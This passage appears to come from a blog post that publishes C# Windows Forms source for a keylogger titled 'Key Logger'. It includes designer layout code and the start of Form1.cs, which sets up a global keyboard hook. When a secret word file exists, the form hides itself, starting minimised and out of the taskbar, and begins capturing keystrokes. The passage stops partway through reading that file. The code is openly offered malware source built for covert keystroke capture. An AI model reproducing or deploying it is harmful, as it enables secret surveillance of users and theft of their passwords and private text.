            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label1</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">12</span>, <span style="color: #FF0000;">82</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label1</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;label1&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label1</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">64</span>, <span style="color: #FF0000;">13</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label1</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label1</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Unhide text:&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// button4</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">218</span>, <span style="color: #FF0000;">41</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;button4&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">75</span>, <span style="color: #FF0000;">23</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">5</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Show&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span>.<span style="color: #0000FF;">UseVisualStyleBackColor</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span>.<span style="color: #0000FF;">Click</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">EventHandler</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4_Click</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// label2</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label2</span>.<span style="color: #0000FF;">AutoSize</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label2</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">12</span>, <span style="color: #FF0000;">165</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label2</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;label2&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label2</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">64</span>, <span style="color: #FF0000;">13</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label2</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">6</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label2</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Catch word:&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// textBox2</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox2</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">15</span>, <span style="color: #FF0000;">181</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox2</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;textBox2&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox2</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">97</span>, <span style="color: #FF0000;">20</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox2</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">7</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// button5</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">15</span>, <span style="color: #FF0000;">124</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;button5&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">86</span>, <span style="color: #FF0000;">26</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">8</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Save&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span>.<span style="color: #0000FF;">UseVisualStyleBackColor</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span>.<span style="color: #0000FF;">Click</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">EventHandler</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5_Click</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// textBox3</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span>.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">129</span>, <span style="color: #FF0000;">98</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span>.<span style="color: #0000FF;">Multiline</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;textBox3&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span>.<span style="color: #0000FF;">ScrollBars</span> <span style="color: #008000;">=</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">ScrollBars</span>.<span style="color: #0000FF;">Both</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">164</span>, <span style="color: #FF0000;">139</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">9</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// button6</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">15</span>, <span style="color: #FF0000;">207</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;button6&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">75</span>, <span style="color: #FF0000;">23</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">10</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Add&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span>.<span style="color: #0000FF;">UseVisualStyleBackColor</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span>.<span style="color: #0000FF;">Click</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">EventHandler</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6_Click</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// Form1</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">AutoScaleDimensions</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">SizeF</span><span style="color: #000000;">&#40;</span>6F, 13F<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">AutoScaleMode</span> <span style="color: #008000;">=</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">AutoScaleMode</span>.<span style="color: #0000FF;">Font</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ClientSize</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">316</span>, <span style="color: #FF0000;">252</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox2</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label2</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label1</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox1</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Controls</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">MaximizeBox</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">MinimizeBox</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Form1&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ShowIcon</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ShowInTaskbar</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Key Logger&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">WindowState</span> <span style="color: #008000;">=</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">FormWindowState</span>.<span style="color: #0000FF;">Minimized</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Load</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">EventHandler</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Form1_Load</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ResumeLayout</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">false</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">PerformLayout</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span> button1<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span> button2<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span> button3<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">TextBox</span> textBox1<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Label</span> label1<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span> button4<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Label</span> label2<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">TextBox</span> textBox2<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span> button5<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">TextBox</span> textBox3<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span> button6<span style="color: #008000;">;</span>
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>The actual code running with form. <strong>Form1.cs</strong></p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.ComponentModel</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Data</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Drawing</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Text</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Windows.Forms</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">TestKeybdHook</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Runtime.InteropServices</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.IO</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">namespace</span> KeyHookSucks
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">partial</span> <span style="color: #FF0000;">class</span> Form1 <span style="color: #008000;">:</span> Form
    <span style="color: #000000;">&#123;</span>
&nbsp;
        <span style="color: #FF0000;">String</span> writeUp<span style="color: #008000;">;</span>
        <span style="color: #FF0000;">String</span> secretWord<span style="color: #008000;">;</span>
        ArrayList keyWords<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> Form1<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            InitializeComponent<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            ReadSecretWord<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>secretWord.<span style="color: #0000FF;">CompareTo</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;&quot;</span><span style="color: #000000;">&#41;</span> <span style="color: #008000;">==</span> <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ShowInTaskbar</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
            <span style="color: #0600FF;">else</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ShowInTaskbar</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Refresh</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
                Hook.<span style="color: #0000FF;">CreateHook</span><span style="color: #000000;">&#40;</span>KeyReaderr<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span>.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
&nbsp;
            writeUp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
&nbsp;
            initKeyWords<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> initKeyWords<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
&nbsp;
            TextReader tr <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;keywords.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #FF0000;">String</span> temp<span style="color: #008000;">;</span>
&nbsp;
            keyWords <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> ArrayList<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">do</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// read a line of text</span>
                temp <span style="color: #008000;">=</span> tr.<span style="color: #0000FF;">ReadLine</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
                <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>temp <span style="color: #008000;">!=</span> <span style="color: #0600FF;">null</span><span style="color: #000000;">&#41;</span> keyWords.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>temp<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span> <span style="color: #0600FF;">while</span> <span style="color: #000000;">&#40;</span>temp <span style="color: #008000;">!=</span> <span style="color: #0600FF;">null</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tr.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> ReadSecretWord<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>File.<span style="color: #0000FF;">Exists</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;secret.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
